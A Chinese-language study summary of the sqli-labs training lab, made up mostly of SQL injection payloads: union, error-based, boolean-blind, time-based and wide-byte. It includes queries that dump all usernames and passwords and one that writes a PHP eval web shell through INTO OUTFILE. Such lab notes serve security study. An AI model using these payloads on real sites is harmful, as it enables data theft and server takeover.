Sqli-labs知识总结

时光毁灭记忆、已成空白 提交于 2020-02-09 12:59:14

Sqli-labs知识总结:

Id 值   ‘   “   ()   这几种方式进行组合的包裹形式

1. left()函数:  left(database(),1)=‘s’       left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0

2. regexp函数:select user() regexp ‘r’      user()的结果是root,regexp为匹配root的正则表达式

3. like函数: select user() like ‘ro%’        匹配与regexp相似。

4. substr(a,b,c)   select substr() XXXX       substr(a,b,c)从位置b开始,截取a字符串c位长度

5. ascii()                                                      将某个字符串转化为ascii值 

%26%26 代表 && 

%a0代表空格

;%00  或者  || ‘1’=‘1  代表注释符

使用or代表||

 

对于security数据库:

  •  select left(database(),1)=‘s’;   前1位是否是s
  •  select database() regexp ‘s’;  匹配第一个字符是否是 s
  •  select database() like ‘s%’;     匹配第一个字符是否是 s
  •   select substr((select database()),1,1)='s’; 匹配第一个字符是否是 s
  •   select substr((select database()),1,3)= ‘sec’; 匹配前三个个字符是否是 sec
  •   select ascii(substr((select database()),1,1));    直接回显115   115是对应的ascii值
  • select ascii(substr((select database()),1,1)) > 110;  如果大于110,就会返回1,否则返回0.

 

 

  • 1. ?id=1’     查看是否有注入
  • 2. ?id=1‘ order by 3--+   查看有多少列
  • 3. ?id=-1‘ union select 1,2,3--+ 查看哪些数据可以回显
  • 4. ?id=-1‘ union select 1,2,database()--+  查看当前数据库
  • 5. ?id=-1‘ union select 1,2,schema_name from information_schema.schemata limit 4,1--+ 

查看数据      或者是:   

?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata--+

 查看所有的数据库

  • 6.?id=-1‘unionselect1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表    或者是:

?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

查看所有的

  • 7.?id=-1‘ union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+

 查询列信息  或者是:

?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

查看所以的列信息

  • 8. ?id=-1‘ union select 1,2,concat_ws(’~‘,username,password) from security.users limit 1,1--+

查询一个账号和密码,或者是:

?id=-1’ union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

 直接可以得到所有的账号和密码,并且使用~符号进行分割。

 

报错注入

/?id=1‘ and updatexml(1,concat(0x7e,(database())),1) or ’1‘=‘1 报错出数据库

?id=1‘ and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or ’1‘=‘1 查询所有的数据库,使用limit进行逐个查询。

 

布尔盲注 

/?id=1‘ and ascii(substr((select database()),1,1)) > 16--+

/?id=1‘ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >17 --+

先通过大于号或者小于号来判断数据库的第一个字母是哪一个,也可以使用

?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1)) = 115--+ 此时可以验证数据库中第五个数据库的第一个字母是s

?id=1‘ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) >11 --+

判断security数据库中的第4个表中的数据的第一位是否大于11, 也可以使用

?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1),1,1)) =117 --+

验证数据库中第4个表中的数据的第一位的第一个字母的ascii码是否是117,也就是 u

 

基于时间的注入

?id=1‘ and sleep(5)--+ 使用延迟的方法判断是否存在注入漏洞

?id=1‘ and if(length(database()) = 8,1,sleep(5))--+

当为8的时候很快加载,而为其他值得时候加载较慢(5s左右),那就说明此时数据库的长度就是8(security)

?id=1' and if(ascii(substr((select database()),1,1)) >113,1,sleep(5))--+

如果当前数据库的第一个字母的ascii值大于113的时候,会立刻返回结果,否则执行5s。

?id=1‘ and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>112,1,sleep(5))--+

同理判断数据库中的第5个数据库的第一位的ascii的值是不是大于112(实际中是115),如果是的则速度返回,否则延时5s返回结果。

 

一句话木马  

/?id=-1‘))unionselect1,2,’<?php@eval($_POST[“gxy”]);?>‘intooutfile“C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\test.php” --+

 

宽字节注入

例子:   id= 1’       处理  1 \’       进行编码   1%5c%27         带入sql  id = \’ and XXXX  此时无法完成注入

          id=1%df’  处理 1%df\’ 进行编码  1%df%5c%27   带入sql  id =1’ and XXX 此时存在宽字节注入漏洞

Less-34  借鉴了将单引号的UTF-8转换为UTF-16的单引号模式转化为

 

 

大致就这些了,还有其他的一些点没有写进去,可以参考之前所做的关卡进行详细查看

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!